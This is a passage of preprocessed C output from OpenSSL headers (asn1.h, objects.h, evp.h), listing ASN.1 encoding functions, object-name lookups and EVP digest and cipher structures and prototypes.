ASN1_BIT_STRING_free(ASN1_BIT_STRING *a); ASN1_BIT_STRING *d2i_ASN1_BIT_STRING(ASN1_BIT_STRING **a, const unsigned char **in, long len); int i2d_ASN1_BIT_STRING(ASN1_BIT_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_BIT_STRING_it; >int i2c_ASN1_BIT_STRING(ASN1_BIT_STRING *a,unsigned char **pp); >ASN1_BIT_STRING *c2i_ASN1_BIT_STRING(ASN1_BIT_STRING **a,const unsigned char **pp, > long length); >int ASN1_BIT_STRING_set(ASN1_BIT_STRING *a, unsigned char *d, > int length ); >int ASN1_BIT_STRING_set_bit(ASN1_BIT_STRING *a, int n, int value); >int ASN1_BIT_STRING_get_bit(ASN1_BIT_STRING *a, int n); >int ASN1_BIT_STRING_check(ASN1_BIT_STRING *a, > unsigned char *flags, int flags_len); > > >int ASN1_BIT_STRING_name_print(BIO *out, ASN1_BIT_STRING *bs, > BIT_STRING_BITNAME *tbl, int indent); > >int ASN1_BIT_STRING_num_asc(char *name, BIT_STRING_BITNAME *tbl); >int ASN1_BIT_STRING_set_asc(ASN1_BIT_STRING *bs, char *name, int value, > BIT_STRING_BITNAME *tbl); > >int i2d_ASN1_BOOLEAN(int a,unsigned char **pp); >int d2i_ASN1_BOOLEAN(int *a,const unsigned char **pp,long length); > >ASN1_INTEGER *ASN1_INTEGER_new(void); void ASN1_INTEGER_free(ASN1_INTEGER *a); ASN1_INTEGER *d2i_ASN1_INTEGER(ASN1_INTEGER **a, const unsigned char **in, long len); int i2d_ASN1_INTEGER(ASN1_INTEGER *a, unsigned char **out); extern const ASN1_ITEM ASN1_INTEGER_it; >int i2c_ASN1_INTEGER(ASN1_INTEGER *a,unsigned char **pp); >ASN1_INTEGER *c2i_ASN1_INTEGER(ASN1_INTEGER **a,const unsigned char **pp, > long length); >ASN1_INTEGER *d2i_ASN1_UINTEGER(ASN1_INTEGER **a,const unsigned char **pp, > long length); >ASN1_INTEGER * ASN1_INTEGER_dup(const ASN1_INTEGER *x); >int ASN1_INTEGER_cmp(const ASN1_INTEGER *x, const ASN1_INTEGER *y); > >ASN1_ENUMERATED *ASN1_ENUMERATED_new(void); void ASN1_ENUMERATED_free(ASN1_ENUMERATED *a); ASN1_ENUMERATED *d2i_ASN1_ENUMERATED(ASN1_ENUMERATED **a, const unsigned char **in, long len); int i2d_ASN1_ENUMERATED(ASN1_ENUMERATED *a, unsigned char **out); extern const ASN1_ITEM ASN1_ENUMERATED_it; > >int ASN1_UTCTIME_check(ASN1_UTCTIME *a); >ASN1_UTCTIME *ASN1_UTCTIME_set(ASN1_UTCTIME *s,time_t t); >ASN1_UTCTIME *ASN1_UTCTIME_adj(ASN1_UTCTIME *s, time_t t, > int offset_day, long offset_sec); >int ASN1_UTCTIME_set_string(ASN1_UTCTIME *s, const char *str); >int ASN1_UTCTIME_cmp_time_t(const ASN1_UTCTIME *s, time_t t); > > > > >int ASN1_GENERALIZEDTIME_check(ASN1_GENERALIZEDTIME *a); >ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_set(ASN1_GENERALIZEDTIME *s,time_t t); >ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_adj(ASN1_GENERALIZEDTIME *s, > time_t t, int offset_day, long offset_sec); >int ASN1_GENERALIZEDTIME_set_string(ASN1_GENERALIZEDTIME *s, const char *str); > >ASN1_OCTET_STRING *ASN1_OCTET_STRING_new(void); void ASN1_OCTET_STRING_free(ASN1_OCTET_STRING *a); ASN1_OCTET_STRING *d2i_ASN1_OCTET_STRING(ASN1_OCTET_STRING **a, const unsigned char **in, long len); int i2d_ASN1_OCTET_STRING(ASN1_OCTET_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_OCTET_STRING_it; >ASN1_OCTET_STRING * ASN1_OCTET_STRING_dup(const ASN1_OCTET_STRING *a); >int ASN1_OCTET_STRING_cmp(const ASN1_OCTET_STRING *a, const ASN1_OCTET_STRING *b); >int ASN1_OCTET_STRING_set(ASN1_OCTET_STRING *str, const unsigned char *data, int len); > >ASN1_VISIBLESTRING *ASN1_VISIBLESTRING_new(void); void ASN1_VISIBLESTRING_free(ASN1_VISIBLESTRING *a); ASN1_VISIBLESTRING *d2i_ASN1_VISIBLESTRING(ASN1_VISIBLESTRING **a, const unsigned char **in, long len); int i2d_ASN1_VISIBLESTRING(ASN1_VISIBLESTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_VISIBLESTRING_it; >ASN1_UNIVERSALSTRING *ASN1_UNIVERSALSTRING_new(void); void ASN1_UNIVERSALSTRING_free(ASN1_UNIVERSALSTRING *a); ASN1_UNIVERSALSTRING *d2i_ASN1_UNIVERSALSTRING(ASN1_UNIVERSALSTRING **a, const unsigned char **in, long len); int i2d_ASN1_UNIVERSALSTRING(ASN1_UNIVERSALSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_UNIVERSALSTRING_it; >ASN1_UTF8STRING *ASN1_UTF8STRING_new(void); void ASN1_UTF8STRING_free(ASN1_UTF8STRING *a); ASN1_UTF8STRING *d2i_ASN1_UTF8STRING(ASN1_UTF8STRING **a, const unsigned char **in, long len); int i2d_ASN1_UTF8STRING(ASN1_UTF8STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_UTF8STRING_it; >ASN1_NULL *ASN1_NULL_new(void); void ASN1_NULL_free(ASN1_NULL *a); ASN1_NULL *d2i_ASN1_NULL(ASN1_NULL **a, const unsigned char **in, long len); int i2d_ASN1_NULL(ASN1_NULL *a, unsigned char **out); extern const ASN1_ITEM ASN1_NULL_it; >ASN1_BMPSTRING *ASN1_BMPSTRING_new(void); void ASN1_BMPSTRING_free(ASN1_BMPSTRING *a); ASN1_BMPSTRING *d2i_ASN1_BMPSTRING(ASN1_BMPSTRING **a, const unsigned char **in, long len); int i2d_ASN1_BMPSTRING(ASN1_BMPSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_BMPSTRING_it; > >int UTF8_getc(const unsigned char *str, int len, unsigned long *val); >int UTF8_putc(unsigned char *str, int len, unsigned long value); > >ASN1_STRING *ASN1_PRINTABLE_new(void); void ASN1_PRINTABLE_free(ASN1_STRING *a); ASN1_STRING *d2i_ASN1_PRINTABLE(ASN1_STRING **a, const unsigned char **in, long len); int i2d_ASN1_PRINTABLE(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_PRINTABLE_it; > >ASN1_STRING *DIRECTORYSTRING_new(void); void DIRECTORYSTRING_free(ASN1_STRING *a); ASN1_STRING *d2i_DIRECTORYSTRING(ASN1_STRING **a, const unsigned char **in, long len); int i2d_DIRECTORYSTRING(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM DIRECTORYSTRING_it; >ASN1_STRING *DISPLAYTEXT_new(void); void DISPLAYTEXT_free(ASN1_STRING *a); ASN1_STRING *d2i_DISPLAYTEXT(ASN1_STRING **a, const unsigned char **in, long len); int i2d_DISPLAYTEXT(ASN1_STRING *a, unsigned char **out); extern const ASN1_ITEM DISPLAYTEXT_it; >ASN1_PRINTABLESTRING *ASN1_PRINTABLESTRING_new(void); void ASN1_PRINTABLESTRING_free(ASN1_PRINTABLESTRING *a); ASN1_PRINTABLESTRING *d2i_ASN1_PRINTABLESTRING(ASN1_PRINTABLESTRING **a, const unsigned char **in, long len); int i2d_ASN1_PRINTABLESTRING(ASN1_PRINTABLESTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_PRINTABLESTRING_it; >ASN1_T61STRING *ASN1_T61STRING_new(void); void ASN1_T61STRING_free(ASN1_T61STRING *a); ASN1_T61STRING *d2i_ASN1_T61STRING(ASN1_T61STRING **a, const unsigned char **in, long len); int i2d_ASN1_T61STRING(ASN1_T61STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_T61STRING_it; >ASN1_IA5STRING *ASN1_IA5STRING_new(void); void ASN1_IA5STRING_free(ASN1_IA5STRING *a); ASN1_IA5STRING *d2i_ASN1_IA5STRING(ASN1_IA5STRING **a, const unsigned char **in, long len); int i2d_ASN1_IA5STRING(ASN1_IA5STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_IA5STRING_it; >ASN1_GENERALSTRING *ASN1_GENERALSTRING_new(void); void ASN1_GENERALSTRING_free(ASN1_GENERALSTRING *a); ASN1_GENERALSTRING *d2i_ASN1_GENERALSTRING(ASN1_GENERALSTRING **a, const unsigned char **in, long len); int i2d_ASN1_GENERALSTRING(ASN1_GENERALSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_GENERALSTRING_it; >ASN1_UTCTIME *ASN1_UTCTIME_new(void); void ASN1_UTCTIME_free(ASN1_UTCTIME *a); ASN1_UTCTIME *d2i_ASN1_UTCTIME(ASN1_UTCTIME **a, const unsigned char **in, long len); int i2d_ASN1_UTCTIME(ASN1_UTCTIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_UTCTIME_it; >ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_new(void); void ASN1_GENERALIZEDTIME_free(ASN1_GENERALIZEDTIME *a); ASN1_GENERALIZEDTIME *d2i_ASN1_GENERALIZEDTIME(ASN1_GENERALIZEDTIME **a, const unsigned char **in, long len); int i2d_ASN1_GENERALIZEDTIME(ASN1_GENERALIZEDTIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_GENERALIZEDTIME_it; >ASN1_TIME *ASN1_TIME_new(void); void ASN1_TIME_free(ASN1_TIME *a); ASN1_TIME *d2i_ASN1_TIME(ASN1_TIME **a, const unsigned char **in, long len); int i2d_ASN1_TIME(ASN1_TIME *a, unsigned char **out); extern const ASN1_ITEM ASN1_TIME_it; > >extern const ASN1_ITEM ASN1_OCTET_STRING_NDEF_it; > >ASN1_TIME *ASN1_TIME_set(ASN1_TIME *s,time_t t); >ASN1_TIME *ASN1_TIME_adj(ASN1_TIME *s,time_t t, > int offset_day, long offset_sec); >int ASN1_TIME_check(ASN1_TIME *t); >ASN1_GENERALIZEDTIME *ASN1_TIME_to_generalizedtime(ASN1_TIME *t, ASN1_GENERALIZEDTIME **out); >int ASN1_TIME_set_string(ASN1_TIME *s, const char *str); > >int i2d_ASN1_SET(struct stack_st_OPENSSL_BLOCK *a, unsigned char **pp, > i2d_of_void *i2d, int ex_tag, int ex_class, > int is_set); >struct stack_st_OPENSSL_BLOCK *d2i_ASN1_SET(struct stack_st_OPENSSL_BLOCK **a, > const unsigned char **pp, > long length, d2i_of_void *d2i, > void (*free_func)(OPENSSL_BLOCK), int ex_tag, > int ex_class); > > >int i2a_ASN1_INTEGER(BIO *bp, ASN1_INTEGER *a); >int a2i_ASN1_INTEGER(BIO *bp,ASN1_INTEGER *bs,char *buf,int size); >int i2a_ASN1_ENUMERATED(BIO *bp, ASN1_ENUMERATED *a); >int a2i_ASN1_ENUMERATED(BIO *bp,ASN1_ENUMERATED *bs,char *buf,int size); >int i2a_ASN1_OBJECT(BIO *bp,ASN1_OBJECT *a); >int a2i_ASN1_STRING(BIO *bp,ASN1_STRING *bs,char *buf,int size); >int i2a_ASN1_STRING(BIO *bp, ASN1_STRING *a, int type); > >int i2t_ASN1_OBJECT(char *buf,int buf_len,ASN1_OBJECT *a); > >int a2d_ASN1_OBJECT(unsigned char *out,int olen, const char *buf, int num); >ASN1_OBJECT *ASN1_OBJECT_create(int nid, unsigned char *data,int len, > const char *sn, const char *ln); > >int ASN1_INTEGER_set(ASN1_INTEGER *a, long v); >long ASN1_INTEGER_get(const ASN1_INTEGER *a); >ASN1_INTEGER *BN_to_ASN1_INTEGER(const BIGNUM *bn, ASN1_INTEGER *ai); >BIGNUM *ASN1_INTEGER_to_BN(const ASN1_INTEGER *ai,BIGNUM *bn); > >int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v); >long ASN1_ENUMERATED_get(ASN1_ENUMERATED *a); >ASN1_ENUMERATED *BN_to_ASN1_ENUMERATED(BIGNUM *bn, ASN1_ENUMERATED *ai); >BIGNUM *ASN1_ENUMERATED_to_BN(ASN1_ENUMERATED *ai,BIGNUM *bn); > > > >int ASN1_PRINTABLE_type(const unsigned char *s, int max); > >int i2d_ASN1_bytes(ASN1_STRING *a, unsigned char **pp, int tag, int xclass); >ASN1_STRING *d2i_ASN1_bytes(ASN1_STRING **a, const unsigned char **pp, > long length, int Ptag, int Pclass); >unsigned long ASN1_tag2bit(int tag); > >ASN1_STRING *d2i_ASN1_type_bytes(ASN1_STRING **a,const unsigned char **pp, > long length,int type); > > >int asn1_Finish(ASN1_CTX *c); >int asn1_const_Finish(ASN1_const_CTX *c); > > >int ASN1_get_object(const unsigned char **pp, long *plength, int *ptag, > int *pclass, long omax); >int ASN1_check_infinite_end(unsigned char **p,long len); >int ASN1_const_check_infinite_end(const unsigned char **p,long len); >void ASN1_put_object(unsigned char **pp, int constructed, int length, > int tag, int xclass); >int ASN1_put_eoc(unsigned char **pp); >int ASN1_object_size(int constructed, int length, int tag); > > >void *ASN1_dup(i2d_of_void *i2d, d2i_of_void *d2i, void *x); ># 966 "/usr/include/openssl/asn1.h" 3 4 >void *ASN1_item_dup(const ASN1_ITEM *it, void *x); ># 975 "/usr/include/openssl/asn1.h" 3 4 >void *ASN1_d2i_fp(void *(*xnew)(void), d2i_of_void *d2i, FILE *in, void **x); > > > > > > > >void *ASN1_item_d2i_fp(const ASN1_ITEM *it, FILE *in, void *x); >int ASN1_i2d_fp(i2d_of_void *i2d,FILE *out,void *x); ># 996 "/usr/include/openssl/asn1.h" 3 4 >int ASN1_item_i2d_fp(const ASN1_ITEM *it, FILE *out, void *x); >int ASN1_STRING_print_ex_fp(FILE *fp, ASN1_STRING *str, unsigned long flags); > > >int ASN1_STRING_to_UTF8(unsigned char **out, ASN1_STRING *in); > > >void *ASN1_d2i_bio(void *(*xnew)(void), d2i_of_void *d2i, BIO *in, void **x); > > > > > > > >void *ASN1_item_d2i_bio(const ASN1_ITEM *it, BIO *in, void *x); >int ASN1_i2d_bio(i2d_of_void *i2d,BIO *out, unsigned char *x); ># 1024 "/usr/include/openssl/asn1.h" 3 4 >int ASN1_item_i2d_bio(const ASN1_ITEM *it, BIO *out, void *x); >int ASN1_UTCTIME_print(BIO *fp, const ASN1_UTCTIME *a); >int ASN1_GENERALIZEDTIME_print(BIO *fp, const ASN1_GENERALIZEDTIME *a); >int ASN1_TIME_print(BIO *fp, const ASN1_TIME *a); >int ASN1_STRING_print(BIO *bp, const ASN1_STRING *v); >int ASN1_STRING_print_ex(BIO *out, ASN1_STRING *str, unsigned long flags); >int ASN1_bn_print(BIO *bp, const char *number, const BIGNUM *num, > unsigned char *buf, int off); >int ASN1_parse(BIO *bp,const unsigned char *pp,long len,int indent); >int ASN1_parse_dump(BIO *bp,const unsigned char *pp,long len,int indent,int dump); > >const char *ASN1_tag2str(int tag); > > > >NETSCAPE_X509 *NETSCAPE_X509_new(void); void NETSCAPE_X509_free(NETSCAPE_X509 *a); NETSCAPE_X509 *d2i_NETSCAPE_X509(NETSCAPE_X509 **a, const unsigned char **in, long len); int i2d_NETSCAPE_X509(NETSCAPE_X509 *a, unsigned char **out); extern const ASN1_ITEM NETSCAPE_X509_it; > >int ASN1_UNIVERSALSTRING_to_string(ASN1_UNIVERSALSTRING *s); > >int ASN1_TYPE_set_octetstring(ASN1_TYPE *a, > unsigned char *data, int len); >int ASN1_TYPE_get_octetstring(ASN1_TYPE *a, > unsigned char *data, int max_len); >int ASN1_TYPE_set_int_octetstring(ASN1_TYPE *a, long num, > unsigned char *data, int len); >int ASN1_TYPE_get_int_octetstring(ASN1_TYPE *a,long *num, > unsigned char *data, int max_len); > >struct stack_st_OPENSSL_BLOCK *ASN1_seq_unpack(const unsigned char *buf, int len, > d2i_of_void *d2i, void (*free_func)(OPENSSL_BLOCK)); >unsigned char *ASN1_seq_pack(struct stack_st_OPENSSL_BLOCK *safes, i2d_of_void *i2d, > unsigned char **buf, int *len ); >void *ASN1_unpack_string(ASN1_STRING *oct, d2i_of_void *d2i); >void *ASN1_item_unpack(ASN1_STRING *oct, const ASN1_ITEM *it); >ASN1_STRING *ASN1_pack_string(void *obj, i2d_of_void *i2d, > ASN1_OCTET_STRING **oct); > > > > > > >ASN1_STRING *ASN1_item_pack(void *obj, const ASN1_ITEM *it, ASN1_OCTET_STRING **oct); > >void ASN1_STRING_set_default_mask(unsigned long mask); >int ASN1_STRING_set_default_mask_asc(const char *p); >unsigned long ASN1_STRING_get_default_mask(void); >int ASN1_mbstring_copy(ASN1_STRING **out, const unsigned char *in, int len, > int inform, unsigned long mask); >int ASN1_mbstring_ncopy(ASN1_STRING **out, const unsigned char *in, int len, > int inform, unsigned long mask, > long minsize, long maxsize); > >ASN1_STRING *ASN1_STRING_set_by_NID(ASN1_STRING **out, > const unsigned char *in, int inlen, int inform, int nid); >ASN1_STRING_TABLE *ASN1_STRING_TABLE_get(int nid); >int ASN1_STRING_TABLE_add(int, long, long, unsigned long, unsigned long); >void ASN1_STRING_TABLE_cleanup(void); > > > > >ASN1_VALUE *ASN1_item_new(const ASN1_ITEM *it); >void ASN1_item_free(ASN1_VALUE *val, const ASN1_ITEM *it); >ASN1_VALUE * ASN1_item_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it); >int ASN1_item_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); >int ASN1_item_ndef_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); > >void ASN1_add_oid_module(void); > >ASN1_TYPE *ASN1_generate_nconf(char *str, CONF *nconf); >ASN1_TYPE *ASN1_generate_v3(char *str, X509V3_CTX *cnf); ># 1118 "/usr/include/openssl/asn1.h" 3 4 >int ASN1_item_print(BIO *out, ASN1_VALUE *ifld, int indent, > const ASN1_ITEM *it, const ASN1_PCTX *pctx); >ASN1_PCTX *ASN1_PCTX_new(void); >void ASN1_PCTX_free(ASN1_PCTX *p); >unsigned long ASN1_PCTX_get_flags(ASN1_PCTX *p); >void ASN1_PCTX_set_flags(ASN1_PCTX *p, unsigned long flags); >unsigned long ASN1_PCTX_get_nm_flags(ASN1_PCTX *p); >void ASN1_PCTX_set_nm_flags(ASN1_PCTX *p, unsigned long flags); >unsigned long ASN1_PCTX_get_cert_flags(ASN1_PCTX *p); >void ASN1_PCTX_set_cert_flags(ASN1_PCTX *p, unsigned long flags); >unsigned long ASN1_PCTX_get_oid_flags(ASN1_PCTX *p); >void ASN1_PCTX_set_oid_flags(ASN1_PCTX *p, unsigned long flags); >unsigned long ASN1_PCTX_get_str_flags(ASN1_PCTX *p); >void ASN1_PCTX_set_str_flags(ASN1_PCTX *p, unsigned long flags); > >BIO_METHOD *BIO_f_asn1(void); > >BIO *BIO_new_NDEF(BIO *out, ASN1_VALUE *val, const ASN1_ITEM *it); > >int i2d_ASN1_bio_stream(BIO *out, ASN1_VALUE *val, BIO *in, int flags, > const ASN1_ITEM *it); >int PEM_write_bio_ASN1_stream(BIO *out, ASN1_VALUE *val, BIO *in, int flags, > const char *hdr, > const ASN1_ITEM *it); >int SMIME_write_ASN1(BIO *bio, ASN1_VALUE *val, BIO *data, int flags, > int ctype_nid, int econt_nid, > struct stack_st_X509_ALGOR *mdalgs, > const ASN1_ITEM *it); >ASN1_VALUE *SMIME_read_ASN1(BIO *bio, BIO **bcont, const ASN1_ITEM *it); >int SMIME_crlf_copy(BIO *in, BIO *out, int flags); >int SMIME_text(BIO *in, BIO *out); > > > > > >void ERR_load_ASN1_strings(void); ># 961 "/usr/include/openssl/objects.h" 2 3 4 ># 979 "/usr/include/openssl/objects.h" 3 4 >typedef struct obj_name_st > { > int type; > int alias; > const char *name; > const char *data; > } OBJ_NAME; > > > > >int OBJ_NAME_init(void); >int OBJ_NAME_new_index(unsigned long (*hash_func)(const char *), > int (*cmp_func)(const char *, const char *), > void (*free_func)(const char *, int, const char *)); >const char *OBJ_NAME_get(const char *name,int type); >int OBJ_NAME_add(const char *name,int type,const char *data); >int OBJ_NAME_remove(const char *name,int type); >void OBJ_NAME_cleanup(int type); >void OBJ_NAME_do_all(int type,void (*fn)(const OBJ_NAME *,void *arg), > void *arg); >void OBJ_NAME_do_all_sorted(int type,void (*fn)(const OBJ_NAME *,void *arg), > void *arg); > >ASN1_OBJECT * OBJ_dup(const ASN1_OBJECT *o); >ASN1_OBJECT * OBJ_nid2obj(int n); >const char * OBJ_nid2ln(int n); >const char * OBJ_nid2sn(int n); >int OBJ_obj2nid(const ASN1_OBJECT *o); >ASN1_OBJECT * OBJ_txt2obj(const char *s, int no_name); >int OBJ_obj2txt(char *buf, int buf_len, const ASN1_OBJECT *a, int no_name); >int OBJ_txt2nid(const char *s); >int OBJ_ln2nid(const char *s); >int OBJ_sn2nid(const char *s); >int OBJ_cmp(const ASN1_OBJECT *a,const ASN1_OBJECT *b); >const void * OBJ_bsearch_(const void *key,const void *base,int num,int size, > int (*cmp)(const void *, const void *)); >const void * OBJ_bsearch_ex_(const void *key,const void *base,int num, > int size, > int (*cmp)(const void *, const void *), > int flags); ># 1100 "/usr/include/openssl/objects.h" 3 4 >int OBJ_new_nid(int num); >int OBJ_add_object(const ASN1_OBJECT *obj); >int OBJ_create(const char *oid,const char *sn,const char *ln); >void OBJ_cleanup(void ); >int OBJ_create_objects(BIO *in); > >int OBJ_find_sigid_algs(int signid, int *pdig_nid, int *ppkey_nid); >int OBJ_find_sigid_by_algs(int *psignid, int dig_nid, int pkey_nid); >int OBJ_add_sigid(int signid, int dig_id, int pkey_id); >void OBJ_sigid_free(void); > >extern int obj_cleanup_defer; >void check_defer(int nid); > > > > > >void ERR_load_OBJ_strings(void); ># 95 "/usr/include/openssl/evp.h" 2 3 4 ># 128 "/usr/include/openssl/evp.h" 3 4 >struct evp_pkey_st > { > int type; > int save_type; > int references; > const EVP_PKEY_ASN1_METHOD *ameth; > ENGINE *engine; > union { > char *ptr; > > struct rsa_st *rsa; > > > struct dsa_st *dsa; > > > struct dh_st *dh; > > > > > } pkey; > int save_parameters; > struct stack_st_X509_ATTRIBUTE *attributes; > } ; > > > > > > > >struct env_md_st > { > int type; > int pkey_type; > int md_size; > unsigned long flags; > int (*init)(EVP_MD_CTX *ctx); > int (*update)(EVP_MD_CTX *ctx,const void *data,size_t count); > int (*final)(EVP_MD_CTX *ctx,unsigned char *md); > int (*copy)(EVP_MD_CTX *to,const EVP_MD_CTX *from); > int (*cleanup)(EVP_MD_CTX *ctx); > > > int (*sign)(int type, const unsigned char *m, unsigned int m_length, > unsigned char *sigret, unsigned int *siglen, void *key); > int (*verify)(int type, const unsigned char *m, unsigned int m_length, > const unsigned char *sigbuf, unsigned int siglen, > void *key); > int required_pkey_type[5]; > int block_size; > int ctx_size; > > int (*md_ctrl)(EVP_MD_CTX *ctx, int cmd, int p1, void *p2); > } ; > >typedef int evp_sign_method(int type,const unsigned char *m, > unsigned int m_length,unsigned char *sigret, > unsigned int *siglen, void *key); >typedef int evp_verify_method(int type,const unsigned char *m, > unsigned int m_length,const unsigned char *sigbuf, > unsigned int siglen, void *key); ># 265 "/usr/include/openssl/evp.h" 3 4 >struct env_md_ctx_st > { > const EVP_MD *digest; > ENGINE *engine; > unsigned long flags; > void *md_data; > > EVP_PKEY_CTX *pctx; > > int (*update)(EVP_MD_CTX *ctx,const void *data,size_t count); > } ; ># 303 "/usr/include/openssl/evp.h" 3 4 >struct evp_cipher_st > { > int nid; > int block_size; > int key_len; > int iv_len; > unsigned long flags; > int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, > const unsigned char *iv, int enc); > int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, > const unsigned char *in, size_t inl); > int (*cleanup)(EVP_CIPHER_CTX *); > int ctx_size; > int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); > int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); > int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr); > void *app_data; > } ; ># 405 "/usr/include/openssl/evp.h" 3 4 >typedef struct evp_cipher_info_st > { > const EVP_CIPHER *cipher; > unsigned char iv[16]; > } EVP_CIPHER_INFO; > >struct evp_cipher_ctx_st > { > const EVP_CIPHER *cipher; > ENGINE *engine; > int encrypt; > int buf_len; > > unsigned char oiv[16]; > unsigned char iv[16]; > unsigned char buf[32]; > int num; > > void *app_data; > int key_len; > unsigned long flags; > void *cipher_data; > int final_used; > int block_mask; > unsigned char final[32]; > } ; > >typedef struct evp_Encode_Ctx_st > { > int num; > int length; > > > > > unsigned char enc_data[80]; > int line_num; > int expect_nl; > } EVP_ENCODE_CTX; > > >typedef int (EVP_PBE_KEYGEN)(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, > ASN1_TYPE *param, const EVP_CIPHER *cipher, > const EVP_MD *md, int en_de); ># 476 "/usr/include/openssl/evp.h" 3 4 >int EVP_MD_type(const EVP_MD *md); > > >int EVP_MD_pkey_type(const EVP_MD *md); >int EVP_MD_size(const EVP_MD *md); >int EVP_MD_block_size(const EVP_MD *md); >unsigned long EVP_MD_flags(const EVP_MD *md); > >const EVP_MD *EVP_MD_CTX_md(const EVP_MD_CTX *ctx); > > > > >int EVP_CIPHER_nid(const EVP_CIPHER *cipher); > >int EVP_CIPHER_block_size(const EVP_CIPHER *cipher); >int EVP_CIPHER_key_length(const EVP_CIPHER *cipher); >int EVP_CIPHER_iv_length(const EVP_CIPHER *cipher); >unsigned long EVP_CIPHER_flags(const EVP_CIPHER *cipher); > > >const EVP_CIPHER * EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX *ctx); >int EVP_CIPHER_CTX_nid(const EVP_CIPHER_CTX *ctx); >int EVP_CIPHER_CTX_block_size(const EVP_CIPHER_CTX *ctx); >int EVP_CIPHER_CTX_key_length(const EVP_CIPHER_CTX *ctx); >int EVP_CIPHER_CTX_iv_length(const EVP_CIPHER_CTX *ctx); >int EVP_CIPHER_CTX_copy(EVP_CIPHER_CTX *out, const EVP_CIPHER_CTX *in); >void * EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX *ctx); >void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX *ctx, void *data); > >unsigned long EVP_CIPHER_CTX_flags(const EVP_CIPHER_CTX *ctx); ># 534 "/usr/include/openssl/evp.h" 3 4 >int EVP_Cipher(EVP_CIPHER_CTX *c, > unsigned char *out, > const unsigned char *in, > unsigned int inl); ># 548 "/usr/include/openssl/evp.h" 3 4 >void EVP_MD_CTX_init(EVP_MD_CTX *ctx); >int EVP_MD_CTX_cleanup(EVP_MD_CTX *ctx); >EVP_MD_CTX *EVP_MD_CTX_create(void); >void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx); >int EVP_MD_CTX_copy_ex(EVP_MD_CTX *out,const EVP_MD_CTX *in); >void EVP_MD_CTX_set_flags(EVP_MD_CTX *ctx, int flags); >void EVP_MD_CTX_clear_flags(EVP_MD_CTX *ctx, int flags); >int EVP_MD_CTX_test_flags(const EVP_MD_CTX *ctx,int flags); >int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); >int EVP_DigestUpdate(EVP_MD_CTX *ctx,const void *d, > size_t cnt); >int EVP_DigestFinal_ex(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s); >int EVP_Digest(const void *data, size_t count, > unsigned char *md, unsigned int *size, const EVP_MD *type, ENGINE *impl); > >int EVP_MD_CTX_copy(EVP_MD_CTX *out,const EVP_MD_CTX *in); >int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); >int EVP_DigestFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s); > >int EVP_read_pw_string(char *buf,int length,const char *prompt,int verify); >int EVP_read_pw_string_min(char *buf,int minlen,int maxlen,const char *prompt,int verify); >void EVP_set_pw_prompt(const char *prompt); >char * EVP_get_pw_prompt(void); > >int EVP_BytesToKey(const EVP_CIPHER *type,const EVP_MD *md, > const unsigned char *salt, const unsigned char *data, > int datal, int count, unsigned char *key,unsigned char *iv); > >void EVP_CIPHER_CTX_set_flags(EVP_CIPHER_CTX *ctx, int flags); >void EVP_CIPHER_CTX_clear_flags(EVP_CIPHER_CTX *ctx, int flags); >int EVP_CIPHER_CTX_test_flags(const EVP_CIPHER_CTX *ctx,int flags); > >int EVP_EncryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, > const unsigned char *key, const unsigned char *iv); >int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, > const unsigned char *key, const unsigned char *iv); >int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, > int *outl, const unsigned char *in, int inl); >int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); >int EVP_EncryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); > >int EVP_DecryptInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, > const unsigned char *key, const unsigned char *iv); >int EVP_DecryptInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, > const unsigned char *key, const unsigned char *iv); >int EVP_DecryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, > int *outl, const unsigned char *in, int inl); >int EVP_DecryptFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); >int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); > >int EVP_CipherInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, > const unsigned char *key,const unsigned char *iv, > int enc); >int EVP_CipherInit_ex(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *cipher, ENGINE *impl, > const unsigned char 